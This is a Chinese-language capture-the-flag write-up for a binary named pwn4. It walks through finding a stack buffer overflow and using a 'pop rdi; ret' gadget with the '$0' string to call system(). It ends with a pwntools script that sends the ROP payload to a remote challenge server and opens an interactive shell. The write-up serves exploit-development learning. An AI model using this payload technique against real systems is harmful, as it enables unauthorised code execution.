checksec
首先用checksec命令查看有没有什么保护机制
没有开任何保护机制,用IDA(64位)打开查看main函数。
函数分析
# memset函数
# setvbuf函数
# read函数
经过分析函数可以知道缓冲区中是&s,大小为0x10uLL,read函数是将大小为0x30uLL的数据存放到缓冲区&s中,其大小超过了缓冲区的大小,存在栈溢出。
s大小
我们想要得到shell,看能不能找到‘bin\sh’,在终端使用命令【ROPgadget --binary pwn4 --string ‘/bin/sh’】,并没有得到我们想要的东西
查看字符串有没有在其他函数中被引用,查找发现一个system函数
还是没有得到shell,检测一下字符串
发现了一个$0,$0在linux中为shell或shell脚本的名称(长知识了)。
@小脑补
system()会调用fork()产生子进程,由子进程来调用/bin/sh -c string来执行参数string字符串所代表的命令,此命令执行完后随即返回原调用的进程。
所以如果将$0作为system的参数,能达到传入’/bin/sh’一样的效果。
先了解一下bash这个东西
查看$0在bash中的值(可以不看)
知道system函数的地址和 $0 的地址就可以将 $0 作为system函数的参数进行栈溢出,这是64位的寄存器,64位的寄存器传参与32位的不一样,32位的函数调用使用栈传参,64位的函数调用使用寄存器传参,分别用rdi、rsi、rdx、rcx、r8、r9来传递参数(参数个数小于7的时候),我们讲 $0的地址存入rdi寄存器中,然后通过rdi寄存器传参,那么我们要知道 $0的地址,rdi的地址以及system函数的地址
使用命令【ROPgadget --binary pwn4 --only ‘pop|ret’】得到rdi的地址
使用命令【ROPgadget --binary pwn4 --string ‘$0’】得到 $0的地址
在IDA中查看system函数的地址
首先填充缓冲区,大小为0x10,覆盖rbp,八个字节,传入pop rdi;ret的地址和$0,将栈中$0的地址弹出,存入rdi作为参数,在传入system地址进行调用。
脚本如下
from pwn import *
conn = remote('114.116.54.89', 10004)
# conn = process('./pwn4')
pop_rdi = 0x00000000004007d3
bin_sh = 0x000000000060111f
system = 0x000000000040075A
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
conn.recvuntil('Come on,try to pwn me')
conn.sendline(payload)
conn.interactive()